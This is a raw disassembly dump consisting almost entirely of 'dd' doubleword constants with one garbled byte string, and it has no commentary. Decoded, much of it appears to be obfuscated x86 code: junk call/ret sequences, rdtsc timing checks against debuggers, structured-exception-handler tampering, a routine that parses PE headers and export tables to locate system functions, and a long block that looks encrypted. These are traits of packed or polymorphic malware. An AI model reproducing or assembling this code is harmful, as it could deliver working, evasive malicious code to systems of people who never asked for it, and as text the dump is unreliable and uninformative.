		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 1BCDD2C4h, 0FE9CFh, 0FC920000h, 0E22BF8DFh, 8DC0B794h
		dd 7544B778h, 0E86096ABh, 13h, 0FB623912h, 6712B7Dh, 0C16D20Fh
		dd 1D4B467Ch, 0E9274C56h, 12h, 640AD6E2h, 0A2FAE0A2h, 7D1A4A6h
		dd 2C16B27Bh, 6159C533h, 11860FADh, 0E9000000h,	0Ch, 0B0A6F665h
		dd 7F75608Ch, 6718BA9Eh, 24247C81h, 10000000h, 0BE870Fh
		dd 85890000h, 9352699h,	50525050h, 0F525052h, 0F585A31h
		dd 0FE931h, 0DA830000h,	2393401Fh, 0E1D15618h, 0C844AC80h
		dd 0F585AA5h, 0BE666031h, 12E93B5Ch, 83000000h,	877BDAD7h
		dd 0C9766C23h, 0A4192B45h, 46676C82h, 585A613Ch, 0E9240489h
		dd 0Fh,	0CCF348DBh, 0FDE3F1FCh,	749BFE55h, 8B93B41Ah, 29282444h
		dd 35179195h, 0CE99009h, 7000000h, 0C9BAA9C1h, 13084C31h
		dd 50A28B15h, 0FCBA6660h, 0F7BA6080h, 61272E13h, 860F9061h
		dd 1, 850F60F8h, 2, 89516160h, 350DE595h, 8D615809h, 384CBF85h
		dd 25B50109h, 0FF093501h, 0BE60FCD0h, 7B0865F0h, 61FFB70Fh
		dd 24244403h, 8E9h, 0E5012500h,	6FFD6D1h, 244489FDh, 50006A1Ch
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9892A11h, 14h, 0DC1A8CC2h,	89407533h, 2C4EC847h, 58870A0Bh
		dd 0E5653445h, 179D85C6h, 0C7000935h, 387D6185h, 9, 4B85C700h
		dd 9387Bh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0A132C353h, 7185893Ah,	0E909350Fh
		dd 0Fh,	6E3C8D3Ch, 0B0F3ECC4h, 25875D13h, 0F9F9DA0Dh, 6660FC61h
		dd 89ACFBBEh, 352635B5h, 8C26109h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F01B990h
		dd 682h, 69858900h, 8B093500h, 35057185h, 55B58909h, 4A09351Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4EC35242h
		dd 0CF239854h, 0C1BD0960h, 6009352Ch, 60D88B66h, 6B616161h
		dd 6A04D2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 967BEBC3h, 0C3C0CD89h, 0AE860h, 8040000h
		dd 0AD3C7ABBh, 27C05149h, 0E858F78Bh, 0Bh, 8DBFCB99h, 3139E38Dh
		dd 0B327665Ch, 0F615AA8h, 0F8Ch, 0AE900h, 0F1C60000h, 0A387B05h
		dd 61A06736h, 6AC203h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 81F4E7C3h, 0DE970h, 0D27C0000h
		dd 283D6975h, 0E60869E6h, 607C0449h, 0CE8h, 0EBDFA500h
		dd 2FA62FC6h, 0D581D386h, 0C5B58BBBh, 5E093528h, 3225B589h
		dd 96610935h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0BAC35141h, 0B589FE62h,	93527F9h
		dd 98589ADh, 81093528h,	24247Ch, 0F100000h, 0DA87h, 8589F900h
		dd 93513E1h, 0A840F50h,	50000000h, 0F616052h, 5A616031h
		dd 24048958h, 68C0Fh, 8D290000h, 935222Dh, 2824448Bh, 0DE9h
		dd 3EC64800h, 0A0A8F5D8h, 93DD0458h, 50F8A8AEh,	66605250h
		dd 0F61CE8Bh, 14E931h, 4A9E0000h, 816C2454h, 0C07292B8h
		dd 3888923Eh, 41D8AA91h, 585A07CBh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0E40DC355h, 50E10109h, 0B5313F5Ah, 9351ABDh,	4CBF858Dh
		dd 29F80938h, 3529619Dh, 6AD0FF09h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E02AC352h
		dd 0A08A25F2h, 0F4C296Ah, 118Eh, 0B830F00h, 0E9000000h
		dd 6, 4A19404h,	0E9F9D714h, 0FFFFFD1Ch,	2B858DF8h, 6A093893h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 43B5C357h, 0E9525090h, 10h, 1585200Dh, 0E2A520EDh
		dd 1044347Eh, 91B0C1DCh, 8C0F310Fh, 2, 585A6160h, 0E9525050h
		dd 0Bh,	13564A30h, 39DACDABh, 0FF05E5Ah, 0E9525031h, 11h
		dd 929218DFh, 0D7E19ED4h, 7CD518B8h, 0CFCABD79h, 50310F1Ch
		dd 5A310F52h, 5A585A58h, 6A9058h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0DB48D3C3h, 6BC0E5B6h
		dd 35BD8973h, 0F09350Ch, 0C85h,	6860F00h, 0F000000h, 82h
		dd 35FF6400h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E1C35646h
		dd 213A2FEAh, 426043E0h, 9D896069h, 9352A5Dh, 0DB816660h
		dd 61613ED1h, 6A24048Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 30E1C353h, 0B7A9F44Fh
		dd 8D298B3Fh, 9352D3Dh,	1BF98589h, 6A0935h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 73D7D2C3h
		dd 60770C7Fh, 810FCCB6h, 6, 29959589h, 810F0935h, 1, 258964FCh
		dd 0
		dd 0BF58589h, 858D0935h, 9389121h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 59C35747h, 0F5DA15Fh, 148Dh
		dd 0FE900h, 0C3CD0000h,	4376166Ch, 0BF017F5Eh, 3E7CA423h
		dd 16089B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	7EC35141h, 68D0Fh, 9D290000h, 9352B5Dh,	275E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0EB67B7C1h, 1E4990AEh, 6850FFCh,	1000000h
		dd 3504B5BDh, 0E8DB8B09h, 0
		dd 1AED815Dh, 0BC093891h, 12FF9Ch, 15F9BD83h, 74000935h
		dd 0AD858B18h, 0C6093526h, 858B0000h, 9351C69h,	0FF0000C6h
		dd 351AC995h, 0B5FF6009h, 938774Fh, 7753858Dh, 8D500938h
		dd 38794B85h, 95FF5009h, 9352759h, 610CC483h, 1800Fh, 60F50000h
		dd 1261B52Bh, 0B58B0935h, 9352599h, 4BB58D61h, 6A093879h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 179EC356h, 0DE999h, 0A8780000h, 0AFEE6B2Dh
		dd 0EAA87FEFh, 291CDE30h, 3522CD8Dh, 9DBD8D09h,	6009351Fh
		dd 1A00BB66h, 8061D08Bh, 840F003Eh, 71h, 68F0Fh, 95310000h
		dd 9352DD5h, 0ED9D8B60h, 66093531h, 70EFEE81h, 6AA461h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 7C3DD5C3h, 143A2881h, 0FA89E7Dh, 183h, 0ACE9F800h, 6AFFFFFFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D89EC357h, 0C741BCD5h, 0E76F3Eh,	0B8F9h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 4EDD01C3h, 0A02A9E2Fh, 89EE264Ah,	35029195h
		dd 18D0F09h, 0F9000000h, 0B8C0FAAh, 60000000h, 262DBD09h
		dd 0BF0F0935h, 7B861DFh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7D26C351h
		dd 0EE950E8h, 0D2000000h, 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh
		dd 0B185C75Eh, 1093516h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 31CDC353h
		dd 35249DB5h, 28D8D09h,	6A09354Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A82CC350h
		dd 0EE96571h, 6C000000h, 0DD7B0844h, 405F3270h,	7753DBD3h
		dd 89E1FFD1h, 350C9995h, 245C8B09h, 0E8550Ch, 5D000000h
		dd 9335ED81h, 838B0938h, 0B8h, 774F8589h, 858D0938h, 9389113h
		dd 0B88389h, 335D0000h,	6660C3C0h, 0BF0FFB8Bh, 14E961D6h
		dd 4D000000h, 18ADE515h, 0F9A44EB0h, 9396F586h,	65B10139h
		dd 60342690h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	6AC35747h, 4C715108h, 0D08FDDC8h, 34858D8Bh, 89093896h
		dd 35035195h, 52509009h, 0EE860h, 0A1200000h, 270C4F58h
		dd 91EFA181h, 30618397h, 310F6158h, 28E0Fh, 61600000h
		dd 5050585Ah, 68A0F52h,	50000000h, 5A310F52h, 0F310F58h
		dd 287h, 5A616000h, 64FC9058h, 35FFh, 81600000h, 0D81CFEAh
		dd 8B60617Bh, 350359BDh, 45858909h, 6109352Ch, 258964h
		dd 29000000h, 350E95BDh, 0C5858D09h, 60093896h,	8E8h, 7B367600h
		dd 1DA9EA33h, 0E6BF667Ch, 0EE95AF6h, 98000000h,	0AEF0A7AEh
		dd 4D811B8Fh, 0C6BF3E17h, 6089618Bh, 53006A01h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7F6D2527h
		dd 6890F46h, 89000000h,	35128585h, 9D85C609h, 4F093517h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 55C35141h
		dd 6820F6Eh, 9000000h, 3528E995h, 68C0F09h, 89000000h
		dd 350A7595h, 4E809h, 742A0000h, 0E960FEC8h, 8,	85336C8Eh
		dd 3821E246h, 830F5061h, 0Ah, 61605250h, 6160310Fh, 448B585Ah
		dd 52500424h, 158A0Fh, 10E90000h, 0EF000000h, 8860C9ABh
		dd 8D1F3D76h, 2B5E176Dh, 0FE22958h, 68A0F31h, 0F000000h
		dd 81h,	8B585A00h, 60525000h, 0B9665B53h, 0F614362h, 2890F31h
		dd 60000000h, 89585A61h, 60042444h, 0EB92AEBAh,	0AD3CB806h
		dd 586147DFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	17C35747h, 0FF327812h, 35167DB5h, 56006A09h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 1B5B0AE7h, 30B9B18Dh, 36075F7h, 3522CDBDh, 0BA665209h
		dd 61589F81h, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0A357CC3h, 9D799C01h
		dd 12E99Dh, 273A0000h, 0A67907EFh, 60C5DAC1h, 0BB2858F4h
		dd 35467DAh, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0E1BEC0C3h, 7654ECF7h, 6E860h, 0F36D0000h
		dd 0C4CD4543h, 0B529615Ah, 93517C9h, 0BEE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 9CA73AADh, 8D899127h, 9350BE5h, 6019D01h, 5C8B0935h
		dd 0E8550C24h, 0
		dd 3EED815Dh, 8B093896h, 350EC985h, 7D858909h, 8B093516h
		dd 35057D85h, 39858909h, 8B09351Fh, 35262185h, 4D858909h
		dd 0C6093517h, 35179D85h, 85C70009h, 9387D61h, 0
aNeC8Ig		db '█┘е√8',9,'┴┐╦',0
		align 4
		dd 0C3C0335Dh, 0C8D0Fh,	800F0000h, 6, 12598D89h, 85090935h
		dd 9352475h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0AEC35040h, 2E065E78h, 0BC1CB016h, 12FF74h, 0CE9h
		dd 1B2A3B00h, 8C92392h,	0ACD8CF46h, 58F64BCh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A0C35242h
		dd 0D75A78EAh, 6A04C483h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9884C352h, 0A0B4D133h
		dd 0FE861F9h, 0B000000h, 0EBFABB88h, 0B00F54D3h, 43D28A3Fh
		dd 8D89B89Ah, 93525E1h,	7CE0805Fh, 6EE1C781h, 14E80000h
		dd 0A4000000h, 6B8A3E68h, 0B5876DFDh, 7EC0B275h, 509AAB8Ah
		dd 0BC1493Dh, 3510158Dh, 77685809h, 8900001Bh, 35043585h
		dd 8D8B5A09h, 9350BE1h,	0B58937FFh, 9352461h, 0C18D8B5Eh
		dd 81093505h, 1171A9C6h, 0CE841h, 8A8A0000h, 5A73E43Fh
		dd 5DC50970h, 95895619h, 935064Dh, 36C68159h, 0BB4C16A2h
		dd 6F653357h, 5F44F681h, 12E97DF1h, 0E2000000h,	0E30BA06h
		dd 45B7FFCDh, 0E6D8B949h, 0B925BB99h, 840F560Ch, 5, 3DC98166h
		dd 89078F6Ch, 351025BDh, 1EF8309h, 4F4F4FF9h, 83DE8B66h
		dd 850F01EAh, 1Dh, 23818503h, 31E90935h, 3D000000h, 45C2EE14h
		dd 2238E396h, 61E1405Dh, 92111266h, 35BD2991h, 0E9093505h
		dd 0FFFFFF5Ch, 9651C7FAh, 0C85B2117h, 7AA52882h, 746DD8C6h
		dd 0EE546464h, 83E9h, 52515300h, 5C8B5756h, 81661C24h
		dd 0F5A4D3Bh, 6885h, 43B70F00h,	66D8033Ch, 45503B81h, 57850Fh
		dd 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h, 207B8B56h
		dd 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h, 1C245C8Bh
		dd 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h,	43E87503h
		dd 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h, 24440386h
		dd 5A5E5F1Ch, 8C25B59h,	0E9C03300h, 0FFFFFFF1h,	48E9CA8Bh
		dd 68000001h, 6C000000h, 70000000h, 74000000h, 78000000h
		dd 7C000000h, 80000000h, 84000000h, 0C8000000h,	0CC000000h
		dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h
		dd 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h
		dd 0F8000000h, 0FC000000h, 0
		dd 4000001h, 1,	37h dup(0)
		dd 0F3000000h, 0EB00577Eh, 8D00BB50h, 3898C585h, 8D8BF509h
		dd 9350D0Dh, 9A058589h,	0BE660938h, 85C6AE3Dh, 935179Dh
		dd 759D8B54h, 0E809352Ch, 4, 0EE626829h, 4850Fh, 60570000h
		dd 66505B61h, 448BD18Bh, 0B9660424h, 8B2E67h, 8A515250h
		dd 310F59F9h, 5ACE8B66h, 24448958h, 0CE8B6604h,	79852958h
		dd 0FF09351Ch, 35167DB5h, 0CDB50309h, 8109350Ah, 7A4862E7h
		dd 70858D79h, 8909387Bh, 352EBDB5h, 3BBA6609h, 66D0FF55h
		dd 89FDDBBFh, 389A0985h, 0E9CE8B09h, 45h, 3820Fh, 8B660000h
		dd 0B58B56F9h, 9389A05h, 85830689h, 9389A05h, 60C35E04h
		dd 98C5B58Dh, 0FEB0938h, 0FF006A56h, 995FF36h, 5E09389Ah
		dd 8304C683h, 0EC75003Eh, 0BA66C361h, 8F0F0F05h, 1, 0BD858DF9h
		dd 0F09389Ah, 681h, 98D8B00h, 0BA093528h, 1FC6CBB3h, 0F3D8589h
		dd 0E5E90935h, 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah
		dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
		dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
		dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h,	0A335375h
		dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh,	0B6F360D6h
		dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
		dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	357D2F6Dh
		dd 0E0A1Eh, 0A766C1A8h,	43F2FD54h, 525B2890h, 0C56E9h
		dd 9E7C6800h, 0D9E90938h, 68FFFCE2h, 9389F83h, 0FCE2CFE9h
		dd 0A07568FFh, 0C5E90938h, 68FFFCE2h, 938A147h,	0FCE2BBE9h
		dd 0A1B868FFh, 0B1E90938h, 68FFFCE2h, 938A25Fh,	0FCE2A7E9h
		dd 0A38168FFh, 9DE90938h, 68FFFCE2h, 938A482h, 0FCE293E9h
		dd 0A56568FFh, 89E90938h, 68FFFCE2h, 938A622h, 0FCE27FE9h
		dd 0A6D068FFh, 75E90938h, 0E6FFFCE2h, 8A4E4F74h, 0CF910A97h
		dd 0A0584550h, 0CA8E0F88h, 5E554653h, 0D5C45D2Dh, 7E1B10C8h
		dd 0D8C55B1Dh, 0B8213DC3h, 3A1EDE3h, 12FDA5B9h,	159B20ADh
		dd 8E6673EBh, 5C97001Ch, 71E812B6h, 41507A68h, 0A2441C36h
		dd 5643D852h, 6E90369Bh, 9C10E3F0h, 58DC1780h, 23115E96h
		dd 763C6226h, 721C3641h, 1A16886Ch, 5626207Dh, 0F5A9AE72h
		dd 54467A95h, 8473A7C5h, 5E69FCF8h, 7A1A2358h, 566A82E5h
		dd 0EF0BB9D0h, 22AA44BCh, 0BCDD5466h, 0C0998535h, 0AB9132E0h
		dd 0C823B145h, 0DC1502E8h, 257DE28Ch, 0EF01E1A4h, 39C9004h
		dd 4D4AE69Ah, 50AF16A6h, 78E51300h, 7C65F98Ch, 0DCC5591Fh
		dd 128FA315h, 0B12E40BAh, 0FD4EBE45h, 0CFC86417h, 0EAB1DCCEh
		dd 56B69285h, 15000005h, 43AE2B47h, 88445DD1h, 28B6FD76h
		dd 1C3641A2h, 16DE1096h, 0BE358D41h, 7C29196Bh,	3F561AA6h
		dd 33D9C28Dh, 0BD6530C3h, 0E9D311A6h, 0DD1C35FBh, 13BB35BBh
		dd 31E8ACDh, 0A8367E15h, 1300E122h, 6E5E9016h, 0D849B10Eh
		dd 0FB3EC0DFh, 4D645C71h, 9F1ED6A6h, 109AF11h, 0DE9E7013h
		dd 0C52EEFFBh, 0B02D42BBh, 0C531BF41h, 8AC38470h, 0DD9285E4h
		dd 45h,	0C39B2EAEh, 253DBF0Bh, 63B240B4h, 99150372h, 6A4CDC17h
		dd 9A130111h, 67D91885h, 9225CCC9h, 0A9E68173h,	0D1FBA9E5h
		dd 0C5130111h, 967ED323h, 852958B5h, 0CD0F92h, 0FBB0000h
		dd 11DEBD1h, 3DB9DF13h,	0AE2B4796h, 14859C1Eh, 41A02AB8h
		dd 12941C36h, 70E95BE2h, 0FCF7E279h, 32567678h,	3641466Ch
		dd 589C421Ch, 0CECB67D9h, 24BDB123h, 41B2E577h,	0AE501C36h
		dd 59D323B0h, 90F0DCC5h, 0ED0192CEh, 0A58272DBh, 4FA23F33h
		dd 631C11ABh, 363F773Dh, 836D731Ch, 0FDD5E073h,	666C13D1h
		dd 3E601503h, 7F25695Dh, 13011935h, 0BC47AF31h,	79D31E9h
		dd 0BCCCDD9h, 29D3FB9Dh, 6CF4A930h, 0F400E4F5h,	0E9E9A0D2h
		dd 91A604Ah, 69CB0000h,	94894F4Ch, 57C8900Dh, 978F514Ah
		dd 4EE79902h, 3049524Bh, 0C5D6C35Ah, 207D1813h,	0C4D9C658h
		dd 0E6B7203Ch, 6E548A42h, 6A12FDA3h, 2E479A39h,	0F26EF2ABh
		dd 2E13B8E5h, 0BF0BC39Bh, 41EFD50Bh, 0C5EB1C36h, 7174A331h
		dd 66881503h, 367C2266h, 32130111h, 25C948ACh, 9F25485Dh
		dd 37BF1F5Ah, 10127A9h,	9426E813h, 0AAF7FF98h, 0D239DBAh
		dd 0E0138CA0h, 0DD5F925Ch, 3A147919h, 0E4539285h, 34000000h
		dd 0E5802B47h, 0D87D08C4h, 4DF100EEh, 0CF22BFB3h, 3E37A94Dh
		dd 0D6B2589Bh, 358702C8h, 0D8E2001Ch, 0CC1C3586h, 0FEF6F8CAh
		dd 35861D70h, 4BE3DD1Ch, 91B45E20h, 32BCBA43h, 47B93DBFh
		dd 6BEDAE2Bh, 7865FAF7h, 0A5F07B76h, 0BCC3E1EDh, 30150314h
		dd 346A1EAEh, 1300C38Eh, 0BB90648Ah, 0DC1992Ch,	0CC750AD7h
		dd 7DF40A0Bh, 0C03A925Ch, 0B12E40A9h, 839A5E3Fh, 5BCCE16h
		dd 8221E9A1h, 81398h, 3196C400h, 6079F46Ch, 2FAAC53Bh
		dd 6572EA6Eh, 30A9C038h, 2FDBB06Bh, 86FAA336h, 2DB3E8EDh
		dd 83F5A633h, 7A9F2EFh,	0A2B319C7h, 0F6A712FDh,	0AB2E47D5h
		dd 93396723h, 871C3641h, 0EB89561h, 419E24BAh, 0BE981C36h
		dd 4C87E166h, 30C4EAD8h, 9935A2BEh, 6A8A0F27h, 0EFE9998Dh
		dd 404D123Dh, 479B42B2h, 0D143AE2Bh, 6F57445Dh,	29C8D14Dh
		dd 66DF4FA7h, 74583083h, 27CAD74Ah, 0F7AD51A5h,	15035544h
		dd 0D06EAE30h, 0D9C91F14h, 5CD0982Bh, 0DE398321h, 0AB2D2438h
		dd 0C42AAE45h, 5D7AF608h, 0DF128FA3h, 0AFF5995Dh, 1D05F15Ch
		dd 6B61698h, 39A69853h,	6C568CCCh, 681D6E3Bh, 0C54CA846h
		dd 17B76F3Ah, 46329789h, 89456B16h, 715B8945h, 632445C4h
		dd 43F3D3C0h, 0DC02C0E9h, 678F0C22h, 3B6079F5h,	0B430A9C5h
		dd 0E18ED854h, 21C0AA49h, 0D2000007h, 0A65A4360h, 0CB8D0E8Bh
		dd 8C544954h, 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h
		dd 0DCF977E9h, 0BC2539BFh, 0FFA5E9DFh, 12FDA1B5h, 479F24B1h
		dd 9C1EAE2Bh, 8C0D2582h, 800B9262h, 0E5F46D35h,	5A1DC30Bh
		dd 5815036Dh, 2AC9CE66h, 0FEA04EA6h, 1FF7C29Dh,	0AAADF1AFh
		dd 3F610BD9h, 0E8F16D8Fh, 6901FBB3h, 7C465C70h,	781C288Dh
		dd 100C7E76h, 79834787h, 0E1EBF9E0h, 0D31C288Dh, 6BFF87D4h
		dd 9ED2F07Dh, 0F3DAB28Fh, 62925CD5h, 8D4550DBh,	0A3418D41h
		dd 1C288519h, 1A879B0Dh, 659B55D7h, 9927CFCAh, 15011C3Eh
		dd 0AE507C22h, 4BCD24B1h, 61FDFFABh, 0C15D2378h, 3B8E19D8h
		dd 0C6356B63h, 320BCE21h, 5EBE38ACh, 54DFE99Eh,	64F6Ah
		dd 75520000h, 24BDB028h, 736E0177h, 19BEB62Ah, 7465FC84h
		dd 6B1F6C27h, 42B6E7F2h, 69EFAC29h, 2FB1EAF7h, 53F5A633h
		dd 0A05F657Bh, 4A5B12FDh, 0C39B2E89h, 0D8E2D50Bh, 0DEE0150Eh
		dd 0EFA55146h, 47DBE5E9h, 6616725Ah, 0FBFE41BBh, 3C865C78h
		dd 3812FDE8h, 0F7693EB6h, 8935E7Bh, 0BBE9E5BDh,	0BCB14D4h
		dd 0CE3EA648h, 0CFE9ABA8h, 5DE3A24h, 0AD8F0000h, 50CD9308h
		dd 938C5449h, 4BE39506h, 928B4D4Eh, 0EC9D9607h,	992071Eh
		dd 0E4B9DC57h, 895021Ch, 0DAC3DC50h, 0C20896F6h, 0B612FDA0h
		dd 9B2EA625h, 0D1D50BC3h, 45150ED9h, 9D912BA3h,	4DE19704h
		dd 87129D54h, 61FDFFCFh
		dd 0A6824856h, 707612FDh, 5F1737Eh, 3D8C4B59h, 6E700BD6h
		dd 95101E5Eh, 6AACF95Bh, 8507EAF7h, 0DDDF8B6Bh,	0C745841h
		dd 0A819CFEEh, 0FCD125D5h, 33CDE884h, 7D479D38h, 791C3638h
		dd 0ED7A7977h, 14CA02DAh, 15033FE5h, 504DE3DDh,	29D71FA1h
		dd 35235F87h, 37BAF2D3h, 5374Fh, 6D4AE800h, 2CB5A830h
		dd 6B76E96Fh, 21B6AE32h, 6C6D047Ch, 7317642Fh, 3ABEDFFAh
		dd 71E7B421h, 47B9E2FFh, 3BEDAE2Bh, 9F674D93h, 326312FDh
		dd 0AE2B4791h, 445DD143h, 0DAFF7688h, 16FFE3E6h, 0D61E1CA9h
		dd 8B536601h, 0E8E40A97h, 2DEB3BAh, 0AC476915h,	0A19A1Ch
		dd 1A0A5B13h, 859E0C41h, 3A5B92h, 2E2C0000h, 0BF0BC39Bh
		dd 0A9C6233Dh, 0AD43C52Ch, 726CBB49h, 0E901503h, 0B3243CBEh
		dd 0B938BC40h, 111A52Bh, 15FF6613h, 8529D934h, 0E88E92h
		dd 88380000h, 5E29F1D6h, 8827CF3Ah, 43AE2B47h, 96031D9Fh
		dd 6475EC5Eh, 0B3EC1868h, 9CE12733h, 0CB67D958h, 0BDB123CEh
		dd 0B2E57724h, 501C3603h, 0CD24B1AEh, 3D31AB4Bh, 0ED81F7A4h
		dd 48E6D8F4h, 0D024A84Bh, 1BF3C651h, 3172EDB3h,	52261503h
		dd 83FBD4D8h, 920F20E9h, 2509925Ch, 65D5425Dh, 95617104h
		dd 0EFDFB702h, 0CCC480B1h, 5A72740Bh, 35534E2Eh, 0BD1A5C76h
		dd 3EB638A1h, 574455CCh, 0D51188A1h, 0E9A0E68Bh, 15E7CF52h
		dd 0C6000004h, 0EA6E2F94h, 0AF316A77h, 7825B0h,	0AA2E6F68h
		dd 0BE7526B3h, 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h
		dd 63814D03h, 12FD9E59h, 477B404Dh, 5B23AB2Eh, 0D3810522h
		dd 4E742A41h, 4A1C35A0h, 0B9B44AA4h, 81F7D420h,	0E6D8F4EDh
		dd 0C5B71F4Ah, 0E53464F6h, 9064E80Bh, 9B2E18BBh, 4AD50BC3h
		dd 0B8150372h, 0E0DC9D08h, 14EA6571h, 0CA787C1Dh, 793FCD24h
		dd 3A130107h, 0E6F36A94h, 186D890Bh, 0E57272Ch,	4FDE4DD0h
		dd 0CEFF9F57h, 9992853Ch, 0C7h,	47B915FAh, 0C044AF2Ah
		dd 36419822h, 0EA0A8C1Ch, 10E3FC70h, 0DD14859Ch, 3641384Fh
		dd 4974E81Ch, 363E319Bh, 6D83251Ch, 2BB4A830h, 82683BC8h
		dd 0BB3694FBh, 0EAE20C14h, 320B9B4h, 64395F15h,	74583083h
		dd 0CC90C82Eh, 329A3C0Bh, 0CDCA6456h, 6ED9E301h, 0CBCD1C33h
		dd 21B8B12Bh, 6C6D047Ch, 0A1061678h, 321CC7E9h,	314h, 693297C5h
		dd 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h, 0C9602A5Fh
		dd 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh,	0FD9D743Eh
		dd 60637012h, 0F2AB2E47h, 0B516843Ch, 2627CB61h, 86A6EC53h
		dd 0E90DE3D6h, 0EEDEFB77h, 208CE98Eh, 37BFD05Eh, 3C146C62h
		dd 4F919B4Dh, 154BF202h, 41A12BB9h, 13951C36h, 0CAF569E3h
		dd 3641AE14h, 0C804AA1Ch, 3641B01Ah, 0EC02A41Ch, 29F9305h
		dd 726EE999h, 41428816h, 0B0361C36h, 2EE6B144h,	5531009Eh
		dd 0A1471503h, 1D89E77Dh, 590AECEh, 1BD5C45Dh, 0FBE2EDB3h
		dd 0ECA06802h, 0C40CB6h, 0EE60878h, 28B33E60h, 2709979Dh
		dd 4C84F754h, 0D31DBAB2h, 1F33E5FBh, 21C770D9h,	541F13ADh
		dd 0D12A3CEBh, 0B905E64h, 24C0D955h, 96ABAF88h,	31A48E15h
		dd 0E2000002h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h
		dd 7A415A7Fh, 9908901h,	4257CC94h, 0C89A759h, 4C55C98Fh
		dd 6F35594Fh, 12FD9C45h, 472F9441h, 8AE3802Bh, 0D964580Ah
		dd 444FDC17h, 0BBA2408Ch, 0BB1502ACh, 3512FE03h, 0E3138CB2h
		dd 70F2AB2Dh, 0C59D28D9h, 368DB09h, 1C4C0BCEh, 5D01AFA6h
		dd 0A02CC2B2h, 250CB6ECh, 0E6081C36h, 7624BA0Eh, 0A5A0B80Fh
		dd 0D9D64A12h, 189C5742h, 57991BD6h, 0E0BA6977h, 983E5874h
		dd 23FBCE59h, 0B09FDFABh, 36C2FBB3h, 719A74Fh, 0FB5F52DEh
		dd 4BE7D9F5h, 978B4D4Eh, 3A5FD6E8h, 0B32122A8h,	5E90165Fh
